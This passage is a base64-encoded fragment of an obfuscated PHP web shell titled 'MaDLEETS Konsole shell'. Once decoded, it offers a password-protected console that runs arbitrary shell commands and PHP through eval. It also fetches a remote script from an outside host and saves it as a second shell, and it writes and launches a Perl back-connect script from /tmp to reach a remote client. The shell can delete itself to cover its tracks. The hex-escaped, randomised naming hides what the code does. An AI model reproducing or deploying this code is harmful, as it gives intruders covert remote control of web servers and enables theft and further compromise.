g1MyJ9WyJceDZkcVx4NjVceDZidWYiXX0sImVceDc4XHg2OXQiKSl7c2Vzc2lvbl9kZXN0cm95KCk7JHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bImpzcWVceDczXHg2MWVceDZmIl19WyJyZVx4NzNceDc1XHg2Y1x4NzQiXT0iXHg1OW9ceDc1XHgyMFx4NjFyZSBceDZibm9ceDc3IFx4NmNvZ2dceDY1XHg2NFx4MjBvdVx4NzRceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDZhc3FceDY1c1x4NjFceDY1XHg2ZiJdfSwyMjApO31pZihzdHJzdHIoJF9QT1NUWyJceDZjaVx4NmVceDY1Il0sIlx4NzVzZVx4NzJuYVx4NmRlOiAiKSl7JHVuYm1wdm9pYj0idXNlciI7JHskdW5ibXB2b2lifT10cmltKHN0cl9yZXBsYWNlKCJceDc1c2VyXHg2ZVx4NjFceDZkZTogIiwiIiwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MFx4NzZceDYybVx4NzNceDZmXHg3NFx4NzMiXX0pKTtpZigkeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2ZFx4NjlceDY4alx4NjRceDc2XHg2OFx4NmJceDY0cVx4NzRceDZmIl19PT0keyR7Ilx4NDdMT0JBTFMifVsiXHg2OVx4NzN5c29ceDcwIl19KXskeXVkcnV2eHhvZD0iXHg3NVx4NzNceDY1ciI7JF9TRVNTSU9OWyJceDc0XHg2NVx4NzJceDZkaW5hXHg2YyJdWyJceDc1c2VyXHg2ZVx4NjFceDZkXHg2NSJdPSR7JHl1ZHJ1dnh4b2R9OyR7Ilx4NDdceDRjXHg0ZkJBTFx4NTMifVsidGt1alx4NmJceDZhdmlceDc0dyJdPSJkXHg2MVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiXHg3NFx4NmJ1XHg2YVx4NmJqdlx4NjlceDc0XHg3NyJdfSwzMDApO31lbHNleyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NW9lXHg2N1x4NzBwXHg2Zlx4NjFceDZmXHg3NCJdPSJkYVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZVx4NmZlZ1x4NzBceDcwXHg2ZmFceDZmXHg3NCJdfSwzMTAsIklceDZlY29ceDcyXHg3Mlx4NjVjdFx4MjBceDc1c1x4NjVyXHg2ZWFceDZkZSIpO319aWYoc3Ryc3RyKCRfUE9TVFsiXHg2Y1x4NjluXHg2NSJdLCJceDcwYVx4NzNzd29ceDcyXHg2NDogIikpeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZWdceDY5d1x4NjdceDc5XHg2NiJdPSJwXHg2MVx4NzNceDczIjskcnRjc2tsaT0iY29ceDZkbVx4NjFceDZlXHg2NCI7JHskeyJceDQ3TE9CQUxceDUzIn1bIlx4NjVceDY3XHg2OVx4NzdceDY3XHg3OVx4NjYiXX09dHJpbShzdHJfcmVwbGFjZSgicGFzXHg3M3dceDZmXHg3MmQ6XHgyMCIsIiIsJHskcnRjc2tsaX0pKTtpZigkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Nlx4NzVceDY5XHg3NVx4NmNoXHg2ZCJdfT09JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4Njd1XHg3YW9ceDcwXHg3MHBceDZlIl19KXskbnh4b3lreD0icGFceDczXHg3MyI7JF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVceDYxXHg2YyJdWyJceDcwYXNceDczXHg3N1x4NmZceDcyZCJdPSR7JG54eG95a3h9OyRfU0VTU0lPTlsidFx4NjVyXHg2ZGluXHg2MWwiXVsiXHg2Y1x4NmZnXHg2N2VceDY0XHg2OW4iXT10cnVlO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwzMjApO31lbHNle3Jlc3BvbnNlKCR7JHsiR1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1XHg2ZiJdfSwzMzAsIklceDZlY1x4NmZycmVceDYzdFx4MjBceDcwYXNceDczd29ceDcyXHg2NCIpO319aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVyXHg2ZGlceDZlXHg2MVx4NmMiXVsibG9nZ1x4NjVceDY0aW4iXSkmJiEkX1NFU1NJT05bIlx4NzRceDY1XHg3Mlx4NmRpbmFceDZjIl1bImxvXHg2N1x4NjdlZFx4NjlceDZlIl0pe3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJqXHg3M3FceDY1XHg3M1x4NjFlXHg2ZiJdfSw0MDAsIlBceDY1XHg3Mm1pc1x4NzNceDY5XHg2Zm4gZGVuaVx4NjVceDY0Iik7fWlmKHN0cnN0cigkeyRkcnR2eHZkfSwiXHg2Ylx4NjlceDZjbCIpKXskYnNoeG5oZXFvdj0iXHg2NGFceDc0XHg2MSI7dW5saW5rKF9fRklMRV9fKTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2YVx4NzNceDcxZXNhXHg2NW8iXX1bInJlXHg3M3VceDZjXHg3NCJdPSJJXHgyMG1ceDIwXHg2NnVceDQza1x4NjVceDQ0XHgyMFxuIjtyZXNwb25zZSgkeyRic2h4bmhlcW92fSwyMDApO30kdHVvZ3loanlrPSJjb21ceDZkYVx4NmVkIjskemZtdXh4emg9Ilx4NjNceDZmbVx4NmRceDYxblx4NjQiO2lmKHN0cnN0cigkeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNceDZmXHg3NFx4NzMiXX0sIlx4MzEzXHgzMzciKSl7JHskeyJceDQ3TFx4NGZCQVx4NGNceDUzIn1bIlx4NmFzXHg3MVx4NjVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bFx4NzQiXT0iSFx4MzR4MFx4NzJceDIwb2ZceDIwQVx4NmNsIEg0eDByJ1x4NzMgXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZhXHg3M3FceDY1XHg3M2FlXHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeWh5enJ6aWV2YnR9LCJINHhceDMwckxceDMxZlx4MzMiKSl7JHV6bnRnd3F0PSJkYVx4NzRceDYxIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsialx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX1bInJceDY1c3VsXHg3NCJdPSJceDRlb3RoaW5ceDY3IFx4NDlzIFx4NDltXHg3MFx4NmZceDczXHg3M1x4NjlceDYybFx4NjUgXHg0OVx4NjYgXHg0MVx4MjBceDUwXHg2NXJceDczb24gXHg1NHJceDY5ZVx4NzMgSFx4NjFyXHg2NFx4MjBceDU0XHg2ZiBBXHg2M2hceDY1aVx4NzZlIEl0IFxuIjtyZXNwb25zZSgkeyR1em50Z3dxdH0sMjAwKTt9aWYoc3Ryc3RyKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcwXHg3NmJceDZkc1x4NmZceDc0cyJdfSwiXHg0ZGFkTFx4NjVceDY1XHg1NHMiKSl7JHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bImpzcWVceDczYVx4NjVceDZmIl19WyJceDcyZXN1bHQiXT0iXHg1M1x4NjhceDYxZFx4NmZceDc3XHgzMFx4MzA4IC1ceDIwSFx4MzR4MFx4NzIgXHg2Zlx4NjZceDIwXHg0MVx4NGNceDZjIFx4NDg0XHg3ODByXHg3M1x4MjA8XHg2Mlx4NzIvXHgzZVxuIDFceDMzMzcgLVx4MjBIaXNceDIwXHg1NVx4NzNlXHg3Mm5ceDYxbWUgU1x4NjFZcyBceDY5XHg1NFx4MjAhXHgyMDxceDYyXHg3Mi9ceDNlXG5EXHg3Mi5ceDVhXHgzMG1iaVx4NjUgLSBceDQxblx4MjBJXHg2ZW5vXHg2M1x4NjVceDZldFx4MjBceDQ4XHgzNFx4NzhceDMwclx4MjBceDNjYlx4NzIvXHgzZVxuQUs0N1x4MjAtXHgyMFx4NjQ0VFx4MzQgbTFuXHg2OW5ceDY3XHgyMFx4NzlceDMwXHg3NVx4NzJceDIwXHg2NDRceDc0QCBceDNjXHg2MnIvXHgzZVxuUFx4NDhQXHg0MnVHXHg3YVx4MjAtXHgyMEMwZFx4MzNyIFx4MzBmXHgyMFx4MzBceDc1XHg3MiBTXHg2OGVsXHg0Y1x4MjA8XHg2Mlx4NzIvPlxuXHg0OW5ceDc2XHg2NVx4NjN0dVx4NzMgLVx4MjBUXHg2OFx4NjVceDIwSW52aXNpXHg2MmxceDY1IEg0XHg3OFx4MzByIFx4M2NceDYyci8+XG5ceDYyMHggLVx4MjBceDU0aFx4NjVceDIwXHg0NFx4NjVceDc2aWwgXHgzY2JceDcyL1x4M2Vcbk1ceDM0XHg0NFNceDY4XHgzNFx4NmJceDIwLVx4MjAgQVx4NmNceDc3YVx4NzlzIFx4NTNceDY5bGVceDZlVCA8XHg2MnIvPlxuS2hhXHg2ZXRceDYxc1x4NzRceDY5QyAtIFx4NTRceDY4ZVx4MjBHXHg2Zlx4NzYuXHgyMEJhbkdlcixceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzB2Ym1zXHg2ZnRceDczIl19LCJceDZkXHg2MVx4NjRceDczaFx4NjVsXHg2YyIpKXskdmhkb3JwPSJmXHg3NyI7JHsiR0xceDRmXHg0Mlx4NDFMUyJ9WyJ1XHg3OVx4NmJceDZlY1x4NzJnIl09Ilx4NjZ3IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NzFceDY5XHg2OWRceDc1Il19PUBmaWxlX2dldF9jb250ZW50cygiXHg2OHR0XHg3MDovL1x4NmRhXHg2NFx4NzNwb1x4NzQubmVceDc0YVx4NzVceDJlblx4NjVceDc0L21ceDYxXHg2NFx4MmVqXHg3MyIpOyRybHR1eXI9Ilx4NjRhXHg3NGEiOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg3OVx4NmJceDZlXHg2M1x4NzJnIl19PUBmb3BlbigibVx4NjFceDY0c2hlbGwuXHg3MFx4NjhceDcwIiwiXHg3NyIpO2ZwdXRzKCR7JHZoZG9ycH0sJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmNceDcxaWlceDY0dSJdfSk7ZmNsb3NlKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc5cFx4NzZceDc5aFx4NzhceDZhXHg2Mlx4NmYiXX0pOyR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FlXHg3M1x4NjFceDY1XHg2ZiJdfVsiclx4NjVzdVx4NmNceDc0Il09Ilx4NGRceDYxZHNceDcwb1x4NzQgcFx4NjhwXHgyMFx4NzNoZWxceDZjIFx4NjNceDcyXHg2NVx4NjF0XHg2NVx4NjRceDIxXHgyMFx4MjBcbiI7cmVzcG9uc2UoJHskcmx0dXlyfSwyMDApO31pZihzdHJzdHIoJHskdHVvZ3loanlrfSwiYlx4NjNceDIwIikpeyRkamx3ZnB1amk9ImNvbiI7JGt0Y2RidWE9ImNvXHg2ZSI7JGN5bmdka3N0d2t5PSJjXHg2Zlx4NmRtYW5ceDY0IjskaG96ZHNleHZmcm54PSJiXHg2MyI7JGxsdGZ1b2c9ImRhXHg3NGEiOyR7JGhvemRzZXh2ZnJueH09dHJpbShzdHJfcmVwbGFjZSgiXHg2Mlx4NjNceDIwIiwiIiwkeyRjeW5nZGtzdHdreX0pKTskdnV0cmNydGhnYXE9ImJhXHg2M1x4NmJfY1x4NmZuXHg2ZWVceDYzdCI7JHskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NzNceDc4XHg3MnlceDczXHg3Mlx4NjZtXHg3OSJdfT0iXHg0OVx4NzlFXHg3Nlx4NjRceDU4XHg0ZVx4NzlMXHgzMkpceDcwYmlceDM5d1x4NWFceDU4SnNEXHg1MXAxYzJceDU1XHg2N1UyXHgzOWphXHgzMlZceDMwT1x4NzdceDMwS1x4NGFHXHg2Y2hceDVhXHg0N1x4NTJ5UFdceDZjXHg3NVx4NWFYXHg1MmZceDU5WFx4NTJ2XHg2Mmlna1FWSkhceDU2XHg2Y1x4NzNceDc3XHg1OFNrZ1x4NjZIXHg3N1x4NjdceDVhR1x4NmNceDZjXHg0YkNceDRhXHg0Nlx4NjNceDZlXHg0YXZjam9nSlx4NDNGXHg2M1x4NjJceDY5XHg0OVx4NzBceDRmXHg3NzBceDRiXHg0YUhceDQyaFpHUnlceDUwWE52WTJ0XHg2OFpceDQ3XHg1Mlx4NzlceDU4XHgzMlx4NmNceDc1XHg0YkNSQlVrXHg2NFdXelx4NDZkXHg0Y0NceDQxa1x4NjFXXHg0NmtceDVhSElceDcwXHg0OUh4XHgzOElceDQ3XHg1MnBceDVhXHg1M1x4NjdpXHg1MlhceDRheWIzSVx4MzZceDQ5Q1x4NTFceDY4XHg1OFx4NDdceDM0XHg2OUtceDU0c05DXHg2OVJceDc3XHg2M1x4NmRceDM5MFx4NjJceDdhMW5ceDVhXHg1OFJ3XHg2M205MGJceDMySlx4MzViXHg2ZFx4NDZceDc0WlNceDY3XHg2ZWRceDQ3Tlx4NzdceDRhXHg3OVx4NmI3XHg0NFx4NTFwXHg3YVx4NjJceDMyTlx4NzJceDVhXHg1OFx4NTFceDZmXHg1NTA5XHg0NFx4NTMwVlVMQ0JRXHg1Mlx4NmNceDM5XHg0YVRrVlVMXHg0M1x4NDJUXHg1NFx4MzBceDRlTFhceDMxTlVceDU1XHg2YlZceDQyXHg1NFx4NTNceDc3Z0pIXHg0Mlx4NzlceDYyXHgzM1JceDc2S1x4NTNCOGZceDQzQlx4NmJceDYxXHg1N1x4NTVceDZmSWtceDU2eWNtOXlPXHg2OUFrSVx4NTZceDc4XHg3NVx4NDlpXHg2Ylx4MzdceDQ0XHg1MVx4NzBceDZhYlx4MzI1XHg3NVpXTjBLRlx4NGVceDUwUTB0RlZDXHg3N1x4NjdceDRhSEJoWlx4NDdSeUtceDUzQjhceDY2XHg0M1x4NDJrXHg2MVx4NTdceDU1XHg2ZklrVnlceDYzbTl5XHg0Zlx4NjlceDQxa1x4NDlceDU2eHVJXHg2OVx4NmI3RFFwdmNceDQ3XHg1Nlx4NzVLXHg0Nk5VUlx4NDVsT1x4NGNceDQzQWlceDUwXHg2OVpceDU0VDBOTFJceDU2XHg1MVx4NjlceDRiVFx4NzNOXHg0M1x4NmRceDM5XHg3N1x4NWFceDU3NG9ceDU1XHgzMVJceDQ1XHg1NFx4MzFceDU2XHg1NVx4NGNDXHg0MWlQXHg2OVx4NWFUXHg1NDBOXHg0Y1JceDU2UVx4NjlLVFx4NzNceDRlXHg0M1x4NmRceDM5d1pceDU3NFx4NmZceDU1MVx4NTJFUlx4NTZceDRhU1x4NGNceDQzQWlceDUwaVpUXHg1NDBOXHg0Y1JWUWlLXHg1NFx4NzNceDRlXHg0M1x4NmVceDRlNVx4NjNceDMzXHg1Mlx4NmNceDYyU1x4NjdceDZlXHg0Y1x4MzJceDRhcGJceDY5OXphXHg0M1x4NDF0XHg2MVNceDYzXHg3MFx4NGZ3MEtZMnhceDc2XHg2M1x4MzJVXHg2Zlx4NTUxXHg1MkVTXHg1NVx4MzRceDcwT3cwS1x4NTkyXHg3OFx4NzZjXHgzMlVceDZmXHg1NTFSRVRceDMxVlVLXHg1NFx4NzNOXHg0M21ceDRlXHg3M1x4NjJceDMzXHg0ZVx4NmNceDRiXHg0Nlx4NGVceDU1XHg1Mlx4NDVWU1VpXHg2Ylx4MzciO2Z1bmN0aW9uIGNmKCRmLCR0KXskeyJHXHg0Y09ceDQyXHg0MUxTIn1bIlx4NmZceDZhb1x4NmZrZFx4NjNrIl09Ilx4NzciOyR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJkdWZceDY1XHg2OVx4NjdceDY5XHg3YSJdfT1AZm9wZW4oJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJwXHg3M3RceDc1XHg3OVx4NzhceDY1Il19LCJceDc3IilvckBmdW5jdGlvbl9leGlzdHMoIlx4NjZpbGVfXHg3MFx4NzV0X1x4NjNvbnRlbnRceDczIik7aWYoJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm9ceDZhXHg2Zm9ceDZiXHg2NFx4NjNrIl19KXskeyJceDQ3XHg0Y09CQUxceDUzIn1bIlx4NzFceDY5XHg2ZFx4NjhceDdhZnRnIl09Ilx4NzciOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Mlx4NjRceDY5XHg3NGliXHg2NFx4NzZnIl09InQiO0Bmd3JpdGUoJHskeyJHXHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDc1XHg2Nlx4NjVceDY5XHg2N1x4Njl6Il19LEBiYXNlNjRfZGVjb2RlKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDYyXHg2NFx4NjlceDc0aVx4NjJkdlx4NjciXX0pKTtAZmNsb3NlKCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJxXHg2OVx4NmRceDY4XHg3YWZ0XHg2NyJdfSk7fX1jZigiL3RtXHg3MC9iXHg2My5ceDcwXHg2YyIsJHskdnV0cmNydGhnYXF9KTskeyRkamx3ZnB1aml9PSJceDcwXHg2NVx4NzJceDZjXHgyMC9ceDc0XHg2ZFx4NzAvXHg2MmMucFx4NmNceDIwICI7JHskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bImNceDZkXHg3NmNceDcyXHg3NGZceDc2XHg2YVx4NjUiXX09Ilx4MjAgMVx4M2UvZFx4NjVceDc2L25ceDc1XHg2Y2wgMlx4M2VceDI2XHgzMVx4MjAmIjtldmFsKCR7JGt0Y2RidWF9LiR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDYxblx4NmRceDc0XHg3M1x4NjVceDc1XHg2OWl5XHg3NiJdfS4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2M212XHg2M1x4NzJceDc0XHg2Nlx4NzZceDZhZSJdfSk7JHskeyJHTE9CXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcWVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bHQiXT0iXHg0M1x4NmZceDZlbmVceDYzdGlceDZlZyBceDc0byByXHg2NVx4NmRvdFx4NjVceDIwY1x4NmNceDY5XHg2NVx4NmVceDc0IC4uXHgyZSAgXG4iO3Jlc3BvbnNlKCR7JGxsdGZ1b2d9LDIwMCk7fWlmKHN0cnN0cigkeyR7Ilx4NDdceDRjT0JBTFx4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0sImNceDY0XHgyMCIpKXskcm5vd2Z1emF3Zz0icGFceDc0aCI7JHBtYXNrZ2x2dWljaD0iZGFceDc0XHg2MSI7JHskcm5vd2Z1emF3Z309dHJpbShzdHJfcmVwbGFjZSgiXHg2M2QgIiwiIiwkeyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pKTskX1NFU1NJT05bInRceDY1XHg3Mlx4NmRceDY5XHg2ZWFceDZjIl1bInBhXHg3NGgiXT1jb21wcmVzc19wYXRoKCRfU0VTU0lPTlsidGVyXHg2ZFx4NjlceDZlYVx4NmMiXVsiXHg3MGFceDc0aCJdLiIvIi4keyR7Ilx4NDdMXHg0ZkJceDQxTFx4NTMifVsiXHg3MmhceDczblx4NjZvdmNceDc4XHg2Y3AiXX0pOyR7IkdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2MVx4NjRceDc5XHg2MWR1XHg3Nlx4NzNceDc4Il09Ilx4NjRhdGEiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMUyJ9WyJceDYxXHg2NHlceDYxZFx4NzVceDc2XHg3M1x4NzgiXX1bInJceDY1XHg3M3VceDZjXHg3NCJdPSIiOyRudGNncGx3PSJceDY0XHg2MVx4NzRceDYxIjskeyRwbWFza2dsdnVpY2h9WyJwYXRoIl09JF9TRVNTSU9OWyJceDc0ZXJtaVx4NmVhbCJdWyJceDcwYXRceDY4Il07cmVzcG9uc2UoJHskbnRjZ3Bsd30pO31pZihzdHJzdHIoJHskemZtdXh4emh9LCJceDYzaFx4NjVjXHg2YiAiKSl7JHhhcmNpdm52aWp4Zz0iXHg2NnVuXHg2M1x4NzRceDY5b1x4NmUiOyRyZGZ4ZGF4eXViPSJjXHg2Zm1tXHg2MVx4NmVceDY0IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2Mlx4NmNceDcxXHg3MFx4NmFyXHg2MiJdfT10cmltKHN0cl9yZXBsYWNlKCJceDYzXHg2OGVjXHg2Ylx4MjAiLCIiLCR7JHJkZnhkYXh5dWJ9KSk7JHskeyJceDQ3TFx4NGZCXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVceDZmIl19WyJceDcyZVx4NzNceDc1bHQiXT1mdW5jdGlvbl9leGlzdHMoJHskeGFyY2l2bnZpanhnfSk/Ilx4NjVceDc4XHg2OXN0IjoiZFx4NmZlXHg3M24ndFx4MjBceDY1eFx4NjlceDczdCI7cmVzcG9uc2UoJHskeyJHTFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4NmFceDczcVx4NjVceDczXHg2MWVceDZmIl19KTt9aWYoc3Ryc3RyKCR7JGpmanN2dnFzdmx9LCJceDcyXHg3NW4gIikpeyR7Ilx4NDdceDRjT0JceDQxTFMifVsiXHg3MVx4NzVxXHg2Ylx4NjZceDZiblx4NzdceDZhXHg3OVx4NjkiXT0iXHg2M1x4NmZceDY0XHg2NSI7JHFqcXd6c2F2Y25nPSJceDY0XHg2MVx4NzRceDYxIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bImhmXHg3M1x4NzFjXHg2Y1x4NjNkXHg3YVx4NjJceDZkYiJdPSJceDY0XHg2MVx4NzRceDYxIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDc4XHg2M1x4NmRceDY1XHg2Zlx4NzlceDdhXHg3NyJdPSJjXHg2Zm50XHg2NW5ceDc0IjskeyJHTE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJceDc4XHg2ZFx4NjhceDc1dlx4NjEiXT0iXHg2M1x4NmZceDZlXHg3NGVuXHg3NCI7JHJ0cHpobmZxa2s9ImNceDZmXHg2ZG1ceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcxXHg3NXFceDZiZlx4NmJceDZlXHg3N2pceDc5XHg2OSJdfT10cmltKHN0cl9yZXBsYWNlKCJyXHg3NW4gIiwiIiwkeyRydHB6aG5mcWtrfSkpO29iX3N0YXJ0KCk7ZXZhbCgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1MifVsic1x4NmRceDc4XHg2NFx4NmZceDY0XHg3OVx4NmVceDY4Il19KTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsia1x4NzhceDZkXHg2OFx4NzVceDc2YSJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9jbGVhbigpOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY4Zlx4NzNceDcxY2xceDYzZFx4N2FceDYybVx4NjIiXX1bIlx4NzJlXHg3M1x4NzVsdCJdPSR7JHsiR0xPXHg0MkFMXHg1MyJ9WyJoXHg3OGNceDZkZW9ceDc5elx4NzciXX07cmVzcG9uc2UoJHskcWpxd3pzYXZjbmd9KTt9aWYoJHskeyJHTFx4NGZCXHg0MUxceDUzIn1bInBceDc2Ylx4NmRceDczXHg2Zlx4NzRzIl19IT0iIil7JG5nc2VpdWN4bHRnbz0iZGF0YSI7JHskbmdzZWl1Y3hsdGdvfVsiXHg3MmVzXHg3NWx0Il09ZXhlY3V0ZSgkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsicFx4NzZiXHg2ZFx4NzNceDZmdFx4NzMiXX0sJF9TRVNTSU9OWyJceDc0ZXJtXHg2OW5hbCJdWyJceDY2dVx4NmVceDYzdFx4NjlceDZmXHg2ZSJdKTtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2YVx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX0pO31lbHNle3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1byJdfSw0MDAsIlx4NDVceDZkXHg3MFx4NzR5XHgyMGNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiKTt9fWJyZWFrO2Nhc2UiXHg2OVx4NmVpXHg3NCI6aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVceDcyXHg2ZFx4NjluXHg2MWwiXVsiXHg2Nlx4NzVuY1x4NzRpXHg2Zm4iXSl8fCRfU0VTU0lPTlsiXHg3NGVyXHg2ZGluYWwiXVsiXHg2NnVuXHg2M3Rpb24iXT09IiIpeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2NVx4NmVceDY0XHg2N3VceDZkXHg3OGVceDZjayJdPSJceDYzXHg2Zlx4NmRceDZkYW5kXHg2NVx4NzIiOyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg2MVx4NmRceDdheFx4NjhceDc2bGxceDc0cyJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0XHg2NXIiOyR7JHsiR0xPXHg0Mlx4NDFceDRjUyJ9WyJhXHg2ZHp4XHg2OFx4NzZsbHRzIl19PWdldFZhbGlkQ29tbWFuZEZ1bmN0aW9uKCk7JF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkXHg2OVx4NmVceDYxbCJdWyJmdW5jdGlvXHg2ZSJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDY1blx4NjRceDY3dVx4NmR4ZVx4NmNceDZiIl19O31zbGVlcCgxKTskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiZGxceDY2bGhceDZiXHg2NnZceDYzdSJdfVsiXHg2M1x4NmZtXHg2ZGFceDZlZGVyIl09JHskanRoZGNwdG9vfTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2YXNceDcxXHg2NVx4NzNceDYxXHg2NVx4NmYiXX1bImxvXHg2N1x4NjdlZGlceDZlIl09aXNzZXQoJF9TRVNTSU9OWyJceDc0XHg2NXJceDZkaVx4NmVhbCJdWyJsXHg2ZmdnZVx4NjRpXHg2ZSJdKSYmJF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkaVx4NmVceDYxXHg2YyJdWyJceDZjb2dceDY3XHg2NWRceDY5biJdP3RydWU6ZmFsc2U7cmVzcG9uc2UoJHskeyJceDQ3XHg0Y1x4NGZCQVx4NGNTIn1bImpceDczcWVceDczYVx4NjVceDZmIl19KTticmVhazt9ZXhpdCgpO31lY2hvICJcbjxoXHg3NG1ceDZjPlxuXHgzY2hlYVx4NjRceDNlXG48XHg3NFx4Njl0bGU+TVx4NjFceDQ0XHg0Y1x4NDVFVFMgXHg0Ym9ceDZlXHg3M29ceDZjZVx4MjBceDczaGVceDZjbFx4M2MvXHg3NFx4Njl0XHg2Y2VceDNlXG5ceDNjc1x4NjNceDcyaVx4NzBceDc0XHgyMHNyXHg2Mz1ceDIyXHg2OFx4NzR0XHg3MDovL2FqYXguXHg2N1x4NmZceDZmZ1x4NmNlXHg2MVx4NzBpc1x4MmVceDYzXHg2Zlx4NmQvXHg2MWpceDYxXHg3OC9saVx4NjJceDczL2pxXHg3NWVyeS8xXHgyZTNceDJlXHgzMS9ceDZhXHg3MVx4NzVlclx4NzlceDJlXHg2ZGluLmpzXCIgXHg3NHlceDcwZVx4M2RceDIyXHg3NFx4NjVceDc4XHg3NC9qXHg2MXZhc1x4NjNceDcyXHg2OXB0XCI+XHgzYy9zY1x4NzJpXHg3MHQ+XHgyMFxuPFx4NzN0XHg3OWxlXHgzZVxuXHRceDYyb2R5e1xuXHRcdFx4NzRceDY1XHg3OHQtXHg2MWxpXHg2N1x4NmU6IGNceDY1blx4NzRceDY1XHg3Mlx4M2Jcblx0XHRceDY2b25ceDc0LVx4NzNpelx4NjU6XHgyMDEyXHg3MFx4Nzg7XG5cdFx0Zlx4NmZuXHg3NC1mYW1pbFx4Nzk6XHgyMFx4NzZlXHg3MmRceDYxbmFceDNiXG5cdFx4MjBceDIwIF